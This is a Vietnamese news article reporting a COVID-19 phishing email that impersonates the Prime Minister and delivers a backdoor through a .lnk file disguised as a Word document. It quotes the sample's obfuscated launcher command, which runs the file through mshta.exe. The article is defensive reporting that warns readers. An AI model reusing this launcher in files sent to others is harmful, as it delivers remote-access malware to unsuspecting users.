Email mạo danh thông báo của Thủ tướng về dịch COVID-19 để phát tán mã độc
-
Chia sẻ
-
Bình luận
0
Mã độc được chèn trong một tệp văn bản với tiêu đề "Chi thi cua Thu tuong Nguyen Xuan Phuc" nhằm đánh lừa người dùng. Mẫu mã độc này mới được thu thập được qua hệ thống CMC Threat Intelligence.
Cụ thể, theo phân tích của Công ty CMC Cyber Security, file mẫu là một file shortcut có phần mở rộng là ".lnk" được ẩn dưới dạng một file Word nhằm đánh lừa người dùng do đuôi ".lnk" sẽ được hệ điều hành Windows ẩn đi.
Tuy nhiên, theo các chuyên gia, file Word này sử dụng một target đáng ngờ. Thông thường target của shorcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng: "%comspec% /c for %x in (%temp%=%cd%) do for /f "delims==" %i in (‘dir "%x\Chi Thi cua thu tuong nguyen xuan phuc.lnk" /s /b’) do start m%windir:~-1,1%hta.exe "%i" .
Các chuyên gia CMC Cyber Security cho biết sau khi lừa người dùng tải về, qua hàng loạt lệnh, mã độc sẽ có thể tạo backdoor (cửa hậu) cho phép kẻ tấn công thực thi lệnh từ xa; hay hỗ trợ nhiều lệnh thực thi khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, thông tin người dùng…
"Hiện tượng lợi dụng các nội dung, thông tin nhạy cảm để phát tán mã độc đã, đang diễn ra hằng ngày không chỉ riêng các thông tin về COVID-19 mà còn nhiều thông tin khác. Nếu người dùng không cẩn thận khi click, mở các file chứa mã độc, người dùng có thể bị mất các thông tin cá nhân, ngoài ra các hacker có thể lợi dụng tài khoản lấy được của người dùng để lan truyền tin tức giả, phát tán mã độc", chuyên gia bảo mật cảnh báo.
"Trường hợp bắt buộc phải tải file về nhưng thấy có nghi ngờ về nội dung hoặc người gửi thì người dùng cần chuyển tiếp email đó vào một email tạm thời khác và dùng một máy khác, tách biệt khỏi mạng đang làm việc để mở file. Nếu nắm về kỹ thuật hơn nữa thì có thể thử mở các file nghi ngờ tại các môi trường an toàn hơn (như máy ảo)", chuyên giao bảo mật lưu ý thêm.
(Theo Tuổi Trẻ)
Nguồn: YouTrade
Ngoại tệ | Mua tiền mặt | Mua chuyển khoản | Giá bán |
---|---|---|---|
USD | 25150.00 | 25155.00 | 25455.00 |
EUR | 26817.00 | 26925.00 | 28131.00 |
GBP | 31233.00 | 31422.00 | 32408.00 |
HKD | 3182.00 | 3195.00 | 3301.00 |
CHF | 27483.00 | 27593.00 | 28463.00 |
JPY | 160.99 | 161.64 | 169.14 |
AUD | 16546.00 | 16612.00 | 17123.00 |
SGD | 18454.00 | 18528.00 | 19086.00 |
THB | 674.00 | 677.00 | 705.00 |
CAD | 18239.00 | 18312.00 | 18860.00 |
NZD | 15039.00 | 15548.00 | |
KRW | 17.91 | 19.60 | |
DKK | 3601.00 | 3736.00 | |
SEK | 2307.00 | 2397.00 | |
NOK | 2302.00 | 2394.00 |
Nguồn: Agribank
Giá vàng hôm nay | ||
---|---|---|
Mua vào | Bán ra | |
SJC HCM 1-10L | 85,300 | 87,500 |
SJC Hà Nội | 85,300 | 87,500 |
DOJI HCM | 85,300 | 86,800 |
DOJI HN | 85,300 | 86,800 |
PNJ HCM | 85,100 | 87,400 |
PNJ Hà Nội | 85,100 | 87,400 |
Phú Qúy SJC | 85,400 | 87,400 |
Bảo Tín Minh Châu | 85,500 | 87,400 |
Mi Hồng | 85,200400 | 86,800200 |
EXIMBANK | 85,200 | 87,200 |
TPBANK GOLD | 85,300 | 86,800 |
Cập nhật thời gian thực 24/24 | ||
Nguồn: giavangsjc.net
-
Vì sao nhiều tập đoàn công nghệ lớn đến thăm Việt Nam nhưng đầu tư nước khác?
04, Tháng 05, 2024 | 19:24 -
Đổi mới công nghệ có vai trò quan trọng để phát triển kinh tế xanh
02, Tháng 05, 2024 | 11:11
-
Đổi mới công nghệ có vai trò quan trọng để phát triển kinh tế xanh02, Tháng 05, 2024 | 11:11
-
Nvidia bắt tay FPT xây nhà máy trí tuệ nhân tạo 200 triệu USD23, Tháng 04, 2024 | 06:12
-
CEO Apple bất ngờ đến Việt Nam bằng máy bay riêng15, Tháng 04, 2024 | 12:08
-
Xác thực khuôn mặt, vân tay khi chuyển tiền có làm khó được hacker?13, Tháng 04, 2024 | 01:26
-
An toàn thông tin mạng có vai trò quan trọng trong sự phát triển bền vững của ngành BHXH Việt Nam19, Tháng 03, 2024 | 09:44
-
Chuyển đổi số lĩnh vực BHXH, BHYT: Nhiều lợi ích, phục vụ người dân và doanh nghiệp12, Tháng 04, 2024 | 09:38